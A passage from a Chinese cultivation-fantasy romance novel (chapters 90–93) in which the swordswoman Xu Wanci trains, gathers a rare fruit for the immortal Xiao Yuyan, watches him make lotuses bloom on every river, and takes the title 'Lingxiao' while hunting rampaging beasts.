一同去看这百年错过的秘境,去看极海之南的落日,去弥补那些错过的曾经,好不好 许晚辞蓦然回过神,她想起昨晚的决定,顺着他的声音坚定道: “我们一起修炼吧!” 萧玉衍勾着她发丝的动作一顿,下一瞬,就看到了她抬起头时,那璀璨如星、满是期待的双眸。 他无声的叹了一口气,却根本舍不得拒绝: “好。” 听到他的回答,许晚辞兴冲冲地从他怀中站起身,一只手已经覆在了右手手腕的九霄剑上: 也不知渡劫期的剑意,比起大乘期如何? 对于她而言,修炼早已经成为了她近乎本能,也绝不会放弃的存在。 小院中,许晚辞一剑惊落了无数幻颜树树叶。 她若有所思地看看着空中飞舞的落叶: 果然,修为的增长,让她对剑气的把控不似曾经精巧。 若是之前,她的剑气外泄绝不会如此明显。 想到这里,许晚辞没有停顿,再次舞起了手中的九霄剑。 即使她聚精会神,出剑的力度却依旧超乎了她的预计,一次细微的疏忽后,一道剑气朝着不远处的围墙而去。 萧玉衍灵气一动,无声的消融了剑气。 许晚辞感受着他的灵气,侧头双眼亮晶晶地看了他一眼。 她自认对剑意的掌握已经超越了绝大多数剑修,况且她如今修为已是渡劫,能举手投足湮灭她的灵气…… 她再一次意识到了他的强大。 只是愈是了解,她练剑时的动力便愈足。 萧玉衍看着她挥剑时显露的剑心,胸口的沉闷让他的指尖一点点绷紧。 在她停顿之时,他走到她身边,一只手握住她执剑的右手,另一只手的指尖,点了点她手腕内侧: “这里的灵气,可以留一分余地。” “一往无前的剑意只要分配得当,自然足以把控自身,也能以攻代守。” 他并没有强制性的让她改变剑意,只是在她经脉游走之时,教她更适合她的灵气运行方式。 许晚辞感受着手腕内侧温柔的灵气,缓缓地眨了眨眼睛。 像是想到了什么,她手腕一转。 这一次的剑意,轻柔如水,却在掠过一片树叶时,将它无声湮灭,未伤及周围分毫。 萧玉衍定定地看着她,目光是心疼,也是骄傲: 他的晚晚,一直都如此坚韧强大。 许晚辞看着这一击,眼中带上了一丝兴奋。 她拉起身旁的人的手亲了一口,不等他反应,她就松开了手,迫不及待的再次练起了剑。 有萧玉衍在旁指点,许晚辞进步神速,不过一日就已经完全掌控了自己渡劫期的灵气。 来到修仙界的经历让她早已习惯了彻夜不休的修炼。 即使身侧人时不时的用灵果引诱她坐下休息时,她依旧不忘运行灵气。 甚至夜晚休息时,也在不自觉的钻研剑法。 直到两日后,她忽然后知后觉地意识到: 这几日中,她陪萧玉衍的时间很短。 或许是因为梦境之中,她从来不用在意两人相处的时间; 又或许是因为他一直都陪在她的身边,她回头就能看到; 又或许是因为他太过强大,让她心中多了几分追赶的迫切。 她不自觉的忽略了两人之间的相处。 许晚辞将心比心地想了想:若是他因为其他事情忽略了她,她……会生气。 有错就认的她抬起头,道歉的话还未说出口,就看到了身前人递到她唇边的灵果,因为对他的信任与习惯,她想也不想的咬了一口。 看她吃下后,萧玉衍眼中带上了几分满足的笑意。 他轻声道: “晚晚,陪我去一个地方好不好?” 许晚辞想也不想地站起身,如墨的长发随风飞舞。 她没有问去哪,也没有问需要去多久,会不会耽误修炼,只是使劲点了点头: “好。” 只要他开口,天涯海角她也要陪他……不,是他们一起走一遭。 萧玉衍看着她毫不犹豫应下来的模样,眼中带着一丝怔愣,随即化作了让万物失色的笑意。 他带着她,来到了一片满是仙品烽葡花的秘境。 烽葡花是提升修士修为的灵植,作用温和,即使修士身体内涌入再多烽葡花转化的灵气,也不会对经脉带来一点负担。 这是如今,最适合许晚辞的秘境。 他并不觉得这段时间,她疏忽了他。 他喜欢她的张扬与明媚,也喜欢看她为了强大努力的模样,更喜欢看她掌握剑气之后,那灿若星辰的笑意。 他只是有些心疼。 心疼她的不知疲惫,心疼她的日夜不休。 他想让她,不再那样辛苦,就能所求皆得。 许晚辞看着前方浅紫的烽葡花,心中涌上的不是欣喜,而是微酸的抽痛。 她握紧了牵着萧玉衍的手,想起自己曾经在古籍上看到的有关烽葡花的描写,她抬起头看了他一眼,认真道: “萧玉衍,你在这里等我一会儿。” 说到这里,她看了一眼数百株的烽葡花,眨了眨眼睛: “可能需要多一会会儿。” 萧玉衍和她一般,也没有问任何缘由,只是轻声道: “好。” 许晚辞松开手,小跑着来到了花田之中。 古籍说,大抵一千株烽葡花,就会出现一株能结果的烽葡花。 烽葡果的效果,远超烽葡花,但却极擅隐匿,无法动用灵气探查,只能一株株寻找。 半个时辰后,萧玉衍看着她游走在花田之中的场景,指尖动了动,却依旧如她所言,安静地站在原地。 又是半个时辰。 许晚辞像是找到了什么,笑盈盈地跑到了他的身前。 她举起双手,掌心中是一颗仙气四溢的烽葡果。 是她寻遍了几百株风烽葡花,才找到的烽葡果。 许晚辞抬起头,似乎是觉得用他带她来的秘境找到送他礼物有些难以为颜,她装出一副凶巴巴的模样: “即使是借花献佛,你也不准嫌弃。” 萧玉衍垂眸看向她手中的烽葡果: 这个每日因为修炼,连一炷香休息时间都要计较的人,却在这里,固执地为他寻了一个时辰的烽葡果。 他从来不知,原来心中酸涩与满足可以同时存在。 看到许晚辞将烽葡果递到他的唇边,他没有拒绝,启唇含下。 然后一只手覆在她的脑后,俯身吻住了她。 他周身的灵气是罕有的失控,覆在她腰侧的手,也一点点用力,带上了禁锢的意味。 烽葡果的汁液在唇齿间交融,凝成灵气游走在两人经脉之中。 融入萧玉衍身体的那一部分灵气,却又被他淬炼,化作了更精纯的灵气,以唇渡给了怀中人。 浅紫的花田中,两个蓝色的身影交织在一起,许久未分。 90-95 第91章 许晚辞的话,怎么会有错呢 接下来的时间中, 许晚辞开始让自己习惯萧玉衍的存在,也开始努力平衡修炼与陪伴他的时间。 只是毕竟她从来到修仙界后,就一直为了活下去而努力修炼,从来不敢疏忽。 所以一时间, 她还是没有办法完全摆脱身体的习惯。 就比如现在。 许晚辞收起九霄剑后, 听着不远处不紧不慢的斟茶声, 像是想起了什么一般, 收剑的动作心虚地放轻了几分: 她不是刚刚才开始修炼么? 怎么忽然就过去了三个时辰? 她轻手轻脚地转过身, 小心翼翼地看向不远处坐在暗玉桌旁的身影。 萧玉衍正慢条斯理地为她斟着一壶茶, 带着花茶之中清浅的灵气随着升腾而起的热气从空中幽幽地飘散开来, 闻之便心旷神怡。 仿佛是察觉到了她的视线,他放下茶壶,抬眸向她看来, 目光并无责备, 只是带着浅浅的无奈。 许晚辞对上他的目光, 心中的心虚蓦然化作了浓?? 浓的愧疚。 她小跑到他身前,凑到他身前讨好似的亲了他一口。 看到他怔愣过后舒展的眉眼,她才终于安心展颜, 退后两步坐在了他的身侧。 她把手腕放在暗玉桌上,信誓旦旦道: “虽然今日我修炼的时间有些长,但一点都不累, 经脉中还剩可多灵气了!” 说到这里, 她又把手腕往前送了送, 直接塞到了萧玉衍手中: “不信你试一试?” 她周身的灵气根本不曾设防,甚至于手腕处的命脉, 也随意地在展现在身侧人面前。 萧玉衍看着她的动作,只觉得心中一片酸软。 他微微垂眸, 敛住了眼中愈发汹涌的情绪。 与她在一起的每一刻,她所有的作为,都在认真地告诉他: 她也在意他。 她也……很爱他。 萧玉衍伸出手,环绕住了她的手腕,温柔似水的灵气轻柔地涌入经脉,但一触即分,并未过多停留。 他在她手背上落下一个轻吻,轻笑着道: “脉搏有力,灵气强盛。” “晚晚的修炼时间虽有些长,但也算……恰到好处。” 许晚辞感受着手背之上触感,若无其事地移开了视线,但却并没有抽回右手。 和煦的微风吹过小院,她惬意地闭上了双眼: 这是她从未想过的生活。 她本以为,能够在重重危机之下活下来,对她而言已经足够幸运。 没有想到,在这本是荆棘密布的路上,还会有一人扫去荆棘,为她铺了一条繁华之路。 然后,与她同行。 萧玉衍看着她在阳光下轻松惬意的神情,握住她手腕的手逐渐向下,最终与她十指相扣。 只是想起她方才修炼的时间,他伸手端起暗玉桌上的花茶,递到了她的唇边: “修炼了这么长时间,喝点茶回复一下灵气吧。” 许晚辞连眼睛都没有睁开,她顺着他的手,乖巧的喝了两口。 萧玉衍看着她下意识信任自己的动作,在虚无之中,所有翻涌的欲望,都得到了满足。 在她身上,他永远也不必担心被忽略,被警惕。 她用自己的方式,时刻告诉他,他对她的特殊。 他放下茶盏,握着她的右手从始至终都未曾松开,他轻声问道: “晚晚还有什么喜欢的事情么?” 许晚辞睁开双眼,还没有开口,就听到他像是猜到她的回答一般,无奈道: “不许回答修炼。” 许晚辞眨了眨眼睛,毫不犹豫道: “你啊。” “除了修炼,最喜欢的事情,就是和你在一起。” 纵然萧玉衍早已从她的作为中察觉到了她对他的偏爱,可却依旧会被她每一次的回答,扰乱思绪。 他听着着自己错乱的心跳,眼中是清醒却欣然的放纵沉沦。 与她相处的每一刻,他都会爱她更盛一分。 他周身的灵气将她环绕,声音温柔: “那晚晚还有什么喜欢的事情么?” 除了修炼,除了他。 这一次,怔愣的人,变成了许晚辞。 她有些茫然地眨了眨眼睛,声音带着一丝困惑: “这些,还不够么?” 这两件事,跨越了真实与虚假的界限,占据了她来到修仙界后的每一日。 再无其他。 萧玉衍握着她的手蓦然用力,他声音带着一丝沙哑: “没关系,以后我陪你一起寻找。” 寻找在修炼之外,她喜欢的所有。 许晚辞闻言笑着点了点头: “好。” “不过现在,我要继续开始练剑了。” 她站起身,晃了晃两人交握的手,萧玉衍无声放开。 她看着他的动作,凑近他安抚似的又亲了一下他的侧脸,然后起身看了一眼暗玉桌上的花茶,忽发奇想兴冲冲道: “萧玉衍,我想喝再加些灵果的灵茶。” “灵果的味道,太甜不好,也不能太酸,最好清甜微酸。” 说到这里,她一只手支着下巴,若有所思道:“最好再是冷的,其中要有两三块冰块。” 木门外,宁孟澜听着许晚辞对仙尊近乎颐指气使的态度,后背霎时生出了一身冷汗。 就算仙尊对她再宠溺,可他毕竟是碎虚至尊,若是稍有不满,许晚辞根本无法承担他的怒火。 就在他担心之时,就听到了萧玉衍非但没有动怒,倒好似乐在其中的声音。 “只是灵果之甜难免有些单调,不若再加一些花蜜,中和口感。” 他心中一颤: 为之等候,为之奉茶。 本来他以为仙尊对许晚辞,只是偏爱,如今看来,已经足以称之为溺爱了。 许晚辞察觉到了门口处的动静,侧头看去。 看到宁孟澜的身影后,她眼中带上了一丝诧异:“宗主?” 宁孟澜感受着她周身的渡劫灵气,忽然真切的意识到,如今许晚辞的修为,已经远超于他。 以她的神识修为再加上神器炼神书,怕是足以与渡劫后期尊者能力相当。 即使没有仙尊,她也足以让修仙界绝大多数修士俯首。 想到这里,他眼中对许晚辞的担忧以及慈爱,逐渐化作了对于渡劫尊者的敬意。 感受着仙尊向他投来的淡淡一瞥,他倏地回神,赶紧行了一礼: “见过仙尊……” 宁孟澜还没来得及对许晚辞行礼,就被她的灵气托了起来。 许晚辞走到他的身前,眼中是如曾经一般的敬重,她轻声道: “宗主喊我名讳就好。” 若无太清宗,她也不会如此安稳的活到今日。 听到她的声音,宁孟澜放松了些许,眼中也带上了一丝笑意。 只是仙尊面前,他依旧不敢松懈,只是小心道: “晚辞,今日江少主前来拜访,不知你可否想见?” 许晚辞听到他的话后,声音带着几分笑意:“秋宁来了?” “当然要见。” 脱离了生死危机之后,她终于能够稍微显露一些自己的情绪,再也不用将自己伪装成一个腐朽入骨的躯壳。 说到这里,她回身看了一眼暗玉桌旁的萧玉衍。 他看着许晚辞眼中对来人的期待,微微垂眸: 若是曾经只能在虚无之时,他或许会嫉妒。 可如今,他曾经那些难平的欲壑,早已被她安抚的填满。 他对着她含笑点头: “我去寻一些灵果,用来沏茶待客。” 许晚辞闻言使劲点了点头,眼中满是璀璨的笑意。 江秋宁来到小院时,精神已经绷到了极点,做好了面对仙尊的准备。 却不想只看到了欢颜树下许晚辞轻笑着看向她的身影。 她心中松了一口气,小心地走了进来。 只是在走进小院时,感受着周围好像无处不在的碎虚灵气,她呼吸一滞。 哪怕灵气的主人已经不再,但仅仅只是一丝灵气,却让她灵魂深处都为之惊恐战栗。 许晚辞察觉到了她的不适,一挥手,身上渡劫期的灵气将她包裹。 江秋宁如同死里逃生一般,紧绷的身体终于放松。 她看着身前人周身的渡劫灵气,眼中满是亲近的笑意: 她在小叔口中得知了七冶大漠中发生的事情,也知晓当时有多危险。 所幸,一切都过去了。 不仅仙尊复生,许晚辞也成功晋升渡劫。 只是一想起仙尊,她身体不自觉带上了一丝颤抖: 许晚辞知道所有人对萧玉衍的敬畏,于是笑着宽慰道: “他去寻泡茶的灵果去了,估计要过半个时辰才能回来。” 听到她的话,江秋宁微微一怔: 身为至尊,却甘愿为了许晚辞寻灵果泡茶。 看着她提起仙尊时不自觉扬起的唇角,她终于松了一口气: 虽然知晓仙尊与许晚辞曾经的情深似海,只是终究相隔百年,她担心其中有什么变化。 毕竟以仙尊的修为,若是他想做什么,根本无人能阻拦。 她此次前来,也是因为担忧他们之间的相处。 可现在看来,是她杞人忧天了。 也是,若真如她所想,许晚辞怎么可能对仙尊如此一往情深? 江秋宁坐在许晚辞身边,笑着和她说起了修仙界最近的消息。 在两人的交谈中,半个时辰很快过去。 江秋宁像是想到了什么,笑吟吟道: “晚辞,焰穹原上的银霜莲三日后要开了,此等美景,七十年才一显,要一同去赏景么?” 如今许晚辞也算守得云开,想来也终于能有赏景的心情。 许晚辞本有些失神地看着木门所在的方向,听到她的声音,她下意识问道: “焰穹原是一片灵火形成的火原,百里之内无一滴水源,怎么会有莲花开放?” 江秋宁闻言像是想到了什么,眼中带着一丝心疼,她有些小心地解释道: “银霜莲并非寻常莲花,是只能在火中绽放的莲花。” “虽然并无甚功效,但开放时极美,且从来罕见,所以如今引得不少修士去到了焰穹原赏景。” 许晚辞眨了眨眼睛,手指不自觉地摩挲了几下,随即轻笑道: “原来是这样。” “我从未关注过它,还以为所有莲花,都应开在水上。” 她来到修仙界后,活着已经足够艰难,看古籍时,关注的大都是对她而言珍稀有用的灵植秘境,鲜少关注无关之事。 所以也就不知晓这对于很多修士而言算是常识的事情。 只是在其他人面前显露自己的浅薄,还是让她有一点不适: 银霜莲啊,这样美的名字,明明应该开在水上才合适。 木门外,萧玉衍听着小院中许晚辞的话,抬手敲门的动作无声的停了下来。 他像是被定住了一般,后知后觉的心疼翻涌而来,将他淹没。 只有他与修炼的生活啊。 该有多累。 他垂眸看向自己的双手,浓密的睫毛在眼下打出了一道偏执的阴影: 她的话,怎么会有错呢? 月上枝头。 萧玉衍带着许晚辞来到了太清宗不远处的太雨河旁。 目光所及之处,开满了以火为底,银光皎皎的银霜莲。 月光下,银色与火红交织,盛放在水面之上,波光粼粼,美得惊心动魄。 不只是这里,修仙界中所有的江河湖海之上,在这一日,都开遍了银霜莲。 许晚辞看着面前的景色,眼中带上了一丝茫然的怔愣: 银霜莲,不是只能开在灵火之上么? 月光下,萧玉衍的声音轻柔的如同落雪: “今日,所有人都会见到银霜莲在水面盛开的景象。” “若是提起银霜莲,再也不会有人斩钉截铁的说,只能开在火中。” 说到这里,他一只手将她的碎发挽到耳后: “莲花,自然应该开在水上。” “晚晚说得,怎么会错呢?” 许晚辞看着身前人温柔坚定的神情,眼眶蓦然涌上一阵酸涩。 这样毫无缘由,甚至不讲理一般的偏爱,让她根本无法抑制自己的情绪。 明明是她不太了解这些常识,明明只是她随口一说。 这个人,怎么能对她偏爱至此呢? 她用力地抱住了他: 从很早起,她就已经无法控制自己对他的情感。 这一刻,更是如江水决堤一般,完全失控,再也无法抽身。 感受着轻抚她后背的手,许晚辞从萧玉衍怀中抬起头,她眼眶泛红,开口却不是感动,而是心疼: “这些莲花,很费灵气吧。” 整个修仙界的修士都能看到,莫不是不止这一处? 不等萧玉衍开口,她就红着眼看向他: “你说过不骗我的。” 萧玉衍只能无奈点头: “有一点。” 许晚辞眨了眨酸涩的眼睛,声音带上了一丝哭腔: “就算……就算修为再高,灵气也不能这样用啊。” 她从他怀中站起身,拉住他的衣袖,却并没有让他收回灵气,只是吸了吸鼻子道: “花开都开了,不能浪费。” “我们快去其他地方,把银霜莲开得最多的地方都看一看。” “争取一个……不,是半个时辰内看完!” “然后你赶紧把灵气收回去。” 萧玉衍伸出手,还没有碰到许晚辞的侧脸,就被她一脸严肃地拉了下来: “时间紧急,我们快走!” 萧玉衍无奈但却纵容地应答: “好。” 第92章 凌霄尊者,凌于九霄之上 这一夜, 所有未眠的修士,都看到了银霜莲盛放在水面之上的这一幕。 本只能依附于灵火之上的银霜莲,超越了所有人的认知,招摇的开在修仙界的所有江河湖海之上。 但凡有水之地, 皆能见到这个场景。 修为越高的修士, 越是知晓这番颠覆常识的盛景有多恐怖, 也越能察觉到银霜莲之上, 隐隐残留的碎虚至尊的灵气。 这场盛景, 是仙尊所为。 仙尊百年前, 何曾在意过一种灵植的盛开与消亡? 想来, 今日所为,大抵也只是为了一人吧。 仙尊与许晚辞,如今看来, 当真是伉俪情深, 让人艳羡。 夜色之中, 意识到此番景象的来源后。 有人震惊,有人感叹,也有人黯然转身, 只留下了一地的落寞。 半个时辰后。 许晚辞拉着萧玉衍停在了修仙界七大灵河中的最后一条灵河云潇河旁。 云潇河的河水汹涌的从他们面前翻腾而过,河面之上的银霜莲随着河水上下起伏,看起来像是一片落下凡尘的银河。 许晚辞看了一眼面前的景色, 长舒了一口气。 这半个时辰内, 她拉着萧玉衍, 快把整个修仙界都逛遍,至于银霜莲盛放的美景, 更是已经看惯。 她晃了晃与身侧人交握的双手,声音带着一丝如释重负的放松: “这下大半个修仙界的银霜莲我们都看完了, 你快把灵气收回去吧。” 萧玉衍感受到了她声音中的焦急,知道她是在担忧他身体中的灵气,并未固执的继续这场景色,而是从善如流的收起了灵气。 修仙界中所有盛放的银霜莲,都化作点点银光,消失在了空气之中,再也没有留下一丝痕迹。 刚才的景色,就像是一场美丽但易碎的梦境。 许晚辞根本没有时间感叹,她看到银霜莲消散后,第一时间拉起萧玉衍的手,想要探查他的灵气是否消耗甚大。 萧玉衍对她从不设防,他眼中含笑,任由她的动作。 怕她的灵气受限,他还小心地收敛起经脉之中的灵力,让她想如何探查,就能如何探查。 许晚辞本来正一脸严肃的将灵气探入他的经脉,她知晓自己与他的修为相差甚大,已经做好了灵气受限的准备。 只是…… 感受着自己长驱直入,甚至马上就要触及萧玉衍丹田的灵气,许晚辞动作倏地一顿。 她若无其事地收回灵气,刚想把手收回,就被他反手握住。 萧玉衍将她拉到身前,另一只手环绕在她的腰间,一点点拉近两人的距离: “这样短的时间,晚晚探查好了么?” “要不要再试一次?” 许晚辞忍住自己心中的蠢蠢欲动,咳嗽了一声道: “脉搏有力,灵气强盛,看来无甚问题。” “只不过接下来几日,依旧需要小心使用灵气。” 知道萧玉衍并未因为今日一事损伤过大后,她终于放下了心。 她从他怀中起身,然后如梦境中一般,把他拉到了草地上。 她躺在草地上,看着天空中闪烁的繁星,脸上是在遇到萧玉衍前从未有过的轻松与惬意。 夜色清幽,一时间,只能听到翻涌的水声和微风吹过的沙沙声。 萧玉衍坐在她的身侧,看着她闭着双眼,唇角含笑的模样,只觉岁月安好,甚至有了让时间永远都停留在这一刻的念头。 也不知过了多久,许晚辞感受着周身涌上的困倦,声音轻得一出口,便消散在了风中: “萧玉衍,是不是很难熬?” 修仙界中,所有修士都知晓神魂俱消代表着什么。 即使她‘坚信’他还有一线生机,可她更知晓,那不过是她骗过天下人的手段。 他从醒来,到出现在她面前,一定走了很久很久。 萧玉衍侧身躺在了她的身边,他右手拂过她的发顶,轻描淡写道: “还好。” 重塑身体的疼痛,与能见到她的欣喜相比,从来不值一提。 看着许晚辞睁开双眼,也侧躺过身,目露怀疑的模样,他声音带上了几分笑意: “真的还好。” “晚晚,我不会骗你。” 想起自己从虚无中醒来的场景,他覆在她发顶的手,带着一丝微不可查的轻颤。 那时的他,看到了她在魔界之中所受的每一份苦楚,却毫无作为。 “晚晚,对不起。”萧玉衍揽住她的腰,声音带着挥之不去的愧疚,“没有在醒来后的那一刻,就来找你。” “那时……”他声音沙哑,“我不记得我们的过去。” “所以,一直在……冷眼旁观。” 直到真正经历过那些曾经后,他才真正敢出现在她的面前。 许晚辞听着他的声音,也伸出手,放在了他的后背,轻轻地拍了两下: 早在一见面时,她就对他的记忆有所猜测。 他好像……只记得他们之间的那些过去,完全忘却了其他。 像是想到了什么,她抬起头,小心问说出了自己的推测: “是在,无相神石之后么?” 萧玉衍搭在她腰际的右手无声抬起,他隔着虚空,却不敢继续触碰: “是。” “晚晚,是你让我再一次有了生命,有了情感。” 他从睁开双眼的那一刻,所有的记忆,就只与她相关。 许晚辞想起在无相神石之后发生的所有事情,若有所思地眨了眨眼睛: 自从来到修仙界后,她就知晓各位大能尊者用神识对她的探查从未停止。 当时江泽在她小院旁边暂住后,更是无时无刻不在观察她的表现。 哪怕是前世,她也早就习惯了无所不在的镜头。 所以,她虽然并不喜欢,但也并不觉得萧玉衍神识对她的探查,让她无法接受。 她想的,是另一件她疑惑了许久的事情。 她记得,好像就是在无相神石之后的某一个时间段,她的气运,忽然好了很多。 现在想想,真的是因为她得到许多楚青川的机缘后,也得到了他的一部分气运么? 若真是如此,在七冶大漠中,又为什么出现那个要杀了她的天道之音? 她气运变好,莫不是因为……他? 想到这里,她抬起头,目光灼灼地看着他: “萧玉衍,你老实回答。” “那魔界之中我渡劫时显现的蕴灵秘境,是不是因为你?” 萧玉衍目光却愈发愧疚,他无声地点了点头。 他当时明明可以做更多,却只是为她召来了一个秘境。 许晚辞看着他的动作,声音多了几分笃定: “那我之后遇到的各种升阶灵植,也是因为你。” 萧玉衍垂眸遮住了眼中所有的情绪。 对他而言,这些事情,只是伸手可得,根本没有几分用心。 也不值得她记住。 许晚辞一翻身,将他压在了身下。 她一只手撑地,另一只手抬起他的下巴,与他四目相对,声音闷闷的,带着一丝鼻音: “萧玉衍,你不讲道理。” “这也叫冷眼旁观?” 原来从那么早起,她就拥有了他的偏爱。 萧玉衍定定地看着她,声音愧疚落寞: “可是我并未真正做什么。” “还让你等了这么久。” 许晚辞知道她真的回到了百年前,也真的与萧玉衍相识相爱。 可是,那也是在她从魔界回到修仙界之后,才发生的事情。 她抿了抿唇,并没有顺着他的话应下来,而是玩笑一般开口: “没有哦。” “我完全记起过去后,你很快就出现在了我的眼前。” “其实我的等待,也不过只有一两个时辰罢了。” 这是涉及她生死的秘密,她骗过了整个修仙界,从不敢向任何人吐露分毫。 这玩笑中蕴含的真实,已经是她对一个人能坦露的极限。 不等萧玉衍回答,她的头就落在了他的胸口之上,撑着地的右手也松了下来。 她压在他的身上,听着他的心跳,轻声道: “萧玉衍。” “以后你要是听到我记错了一些常识,你就送我一本记着那些常识的古籍。” 她叹了一口气: “不然我怕再来几次,就把你的灵气全都掏空了。” “太不划算。” 萧玉衍一只手环在她的腰际,将她牢牢禁锢,声音喑哑: “好。” * 最近一段时日,四大极地中的凶兽,开始了三十年一次的暴动。 灵兽失去神志后为凶兽,被魔气侵蚀则为魔兽。 此次凶兽暴动规模不大,但却正是在战斗中凝实修为的好机会。 许晚辞送走宁孟澜后,转过头,满脸期待地看着身后为她冲泡果茶的身影: “萧玉衍,有凶兽诶!” “如今我修为刚升到渡劫中期,正好用凶兽磨炼剑法,凝实修为!” 一日十二个时辰,她定能猎杀三头凶兽。 以这样的速度,她的修为怕是很快就能再进一步。 许晚辞看着萧玉衍不为所动,依旧闲适斟茶的模样,小跑到了他的身边: “萧玉衍,你看看我嘛。” “阿衍。” 萧玉衍斟茶的动作蓦然一顿,几滴茶水溅到了杯盏之外。 他无奈抬头,却依旧没有制止,只是轻声开口: “今日就要出发么?” 许晚辞听着他妥协一般的声音,蓦然从惊喜中回过了神。 她早已习惯了从生死之际提升修为,对于她而言,只要死不了,所有的磨砺,都会成为她向上的阶梯。 可是她却忽略了身边人的想法。 如今,她再也不是孤身一人。 会有人为她担心。 想到这里,她深吸一口气保证道: “我一定会在一开始,带上所有的防护法器,绝不让自己受伤,也绝不轻易透支灵气。” 她声音稍微一停,有些心疼般地伸出了一根手指: “在暴动之地,我一日只猎杀一头凶兽。” “可以么,阿衍?” 萧玉衍看着她眼中又是心疼,又是惋惜的模样,心中又是好笑,又是心疼。 他把她搂入怀中,咬住她的耳尖,牙齿微微用力,却最终连齿痕都未留下。 许晚辞从他怀中挣扎着站起身,整个耳朵都变得通红。 她犹豫了一瞬,侧过头又把另一侧的耳朵露了出来: “你要不……再咬一下?” 萧玉衍只是轻轻地抱住了她,下巴搭在了她的侧肩: “晚晚想什么时候出发,都可以。” 他喜欢看她为了强大努力的模样。 他只是不习惯,不习惯亲眼看到她步入险境。 没关系,他会拼尽全力,护住她。 * 极西之地。 凶兽暴动的外层,有不少接下相关任务的各大宗门弟子,在此猎杀凶兽,平息外层暴动。 姜言正是其中之一。 她是七木宗的大师姐,正指挥着周围的师弟师妹,险而又险地抵抗着身前的凶兽。 这头凶兽是罕见的能够吸收修士身上灵气进阶的灵云兽。 随着时间的推移,姜言以及周围弟子的灵气都被掏空,又被快要进阶的灵云兽控制住了动作,根本无法逃离。 就在姜言面露绝望,想要自爆丹田与灵云兽同归于尽时,一道剑气如同春风一般拂过。 下一瞬,狂暴的灵云兽随着剑气一同消散,湮灭在了天地之间。 死里逃生的姜言大口喘着粗气,面色惨白。 回过神来的她下意识看向剑气传来的方向。 那里站着一位一身蓝衣,势倾天下的身影。 姜言赶紧行了一礼,声音满是感激: “多谢尊者相救。” “不知尊者尊号为何?” 尊者对她有救命之恩,她却根本不知尊者名号,只能失礼询问。 许晚辞看了一眼手中的九霄剑。 在来极西之地前,宗主也问过她是否想好了自己的尊号。 那时她忙着来此,并未放在心上,只说来日再议。 可如今,她收起九霄剑,转身朝着不远处的那个身影走去,清冷的声音消散在了空中: “凌霄。” 凌于九霄之上。 今日,她终于不用再隐藏自己对于强大的追求与渴望。 她会在那个人的陪伴下,一步步的走到顶峰。 走到那九霄之上。 第93章 我们还会有很长很长的未来 在许晚辞念出‘凌霄’二字之时, 便隐有所感,知道这世间的法则承认了这一称号。 从今日起,她便是凌霄尊者。 曾经,她必须把想要变强的念头深埋心底, 然后把努力修炼的原因, 归结于其他人。 只有这样, 她才能活下去。 可是如今, 她终于能够在所有人面前, 显露真正的自己。 她从始至终想要的, 都是能够掌控自己的人生, 自由洒脱的活着。 若无修为,她所有的期盼,都只不过是云烟。 哪怕没有刚来到修仙界时的生死危机, 她也有可能随时陨落于一场意外之中。 许晚辞看着不远处萧玉衍眼中的欣赏与赞扬, 唇角的笑意越发灿烂。 她小跑到他身前, 抬眸看向他,仿佛在寻求夸奖一般,声音带着抑制不住的骄傲: “萧玉衍, 我方才那一剑如何?” 萧玉衍看着她明媚张扬的面容,心跳声声入耳。 他永远都会为强大而坚韧的她心动。 曾经,他只能在虚无之中远远的看着, 可如今, 他终于能够触碰, 能够拥有。 他伸手抱住了她,周身的灵气如潮水汹涌而温柔地将她包裹, 不留一丝缝隙。 感受着怀中的温度,他心中发出了一声餍足的喟叹: “我的凌霄尊者, 那一剑当真惊艳。” “足以破开九霄,凌于其上。” 听着萧玉衍的夸赞,许晚辞唇角忍不住扬起,她拍了拍他的后背,学着他的语气礼尚往来道: “我的清衍仙尊,当真有眼光。” 说到这里,她似乎是想到了什么,小心地从他怀中探出了头: “阿衍,方才我斩杀的那一头凶兽……” 她眨巴着眼睛道:“应该不能算我们之前约定好的一日一头的凶兽之中吧?” 外围之中的凶兽,对她没有丝毫威胁,根本不能磨砺她的修为。 她甚至都没有动用多少灵气。 想到这里,她覆在萧玉衍腰上的手缓缓向下,于他十指交扣,然后讨好地晃了晃: “阿衍阿衍阿衍~” 萧玉衍本就无法拒绝她的要求,听着她撒娇一般的喊出他的名字,哪里还有什么底线。 他握住她的手,下巴搭在她的发顶轻轻蹭了蹭: “那晚晚若是挑好了凶兽,可要提前告诉我一声。” 许晚辞闻言赶紧从他怀中溜了出来,然后拉着他的手就要往暴动之地最为混乱的中心而去。 “一定一定!” 和外层不同,越往内走,便越是能感受到其中混乱的灵气。 来极西之地斩杀凶兽的修士很多,二人越往里走,见到修士的修为,也就越高。 到了最内层,就已经只剩了来此历练的渡劫修士。 这里的凶兽修为极高,在暴动灵气的加持之下,更是已经有了与渡劫中期修士一较高下的能力。 许晚辞看着前方正在与一头凶兽缠斗的尊者,放缓了脚步,眼中多了几分跃跃欲试的战意。 烈焰尊者根本没有察觉到身后的注视,他好不容易才杀了面前的凶兽,丹田中的灵气已经濒临枯竭。 他还来不及疑惑为什么这一次暴动的凶兽比三十年前强大上许多,就感受到了不知何时显现在周围的灵气。 这灵气清清冷冷,如同天地间飘然落下的清雪,无声无息更没有什么压迫,却让他霎时生出了一身的冷汗: 仙尊……怎么会来极西之地? 不远处几位尊者的面色,是和他相似的震惊与惊恐: 百年之前,仙尊何曾会在意凶兽暴动这种小事? 就算他们身为渡劫尊者,也不过才有幸见过仙尊几面而已。 如今仙尊复生,短短一月之内,他们居然遇到了仙尊两次…… 他们来不及多想,就听到身后传来的与周围严肃气氛格格不入的声音。 “这里的凶兽,看起来好像是有点难缠。” 许晚辞拉着萧玉衍的手,虽然口中说着难缠,可看向前方的目光却满是期待: 只有这等修为的凶兽,对她而言才有历练的意义。 萧玉衍看着她明亮动人的双眸,逼自己一点点放开她的手。 他含笑看着她,并没有让她估计自身、不要冒进,只是轻声道: “晚晚。” “我永远都会在你身后。” 你只需要磨砺自己,让自己变得强大就够了。 剩下的,都交由他。 他会是她永远的后盾。 许晚辞听出了他的言下之意,踮起脚尖,在他唇侧落下一吻: “阿衍你放心,我绝对会保护好自己。” “不会有让你出手的机会的。” 这时,暴动之地的最中心之处,忽然传来了一声兽鸣。 许晚辞感受着身后涌动的强大灵气,后退一步,对着萧玉衍轻快而认真道: “等我。” 随后她蓦然转身,九霄剑已经握在了手中。 周围的所有尊者,都听到了许晚辞与仙尊之间的交流,每个人眼中,都是抑制不住的震惊: 根本没有人想到,仙尊与许晚辞之间的相处,居然会是这样。 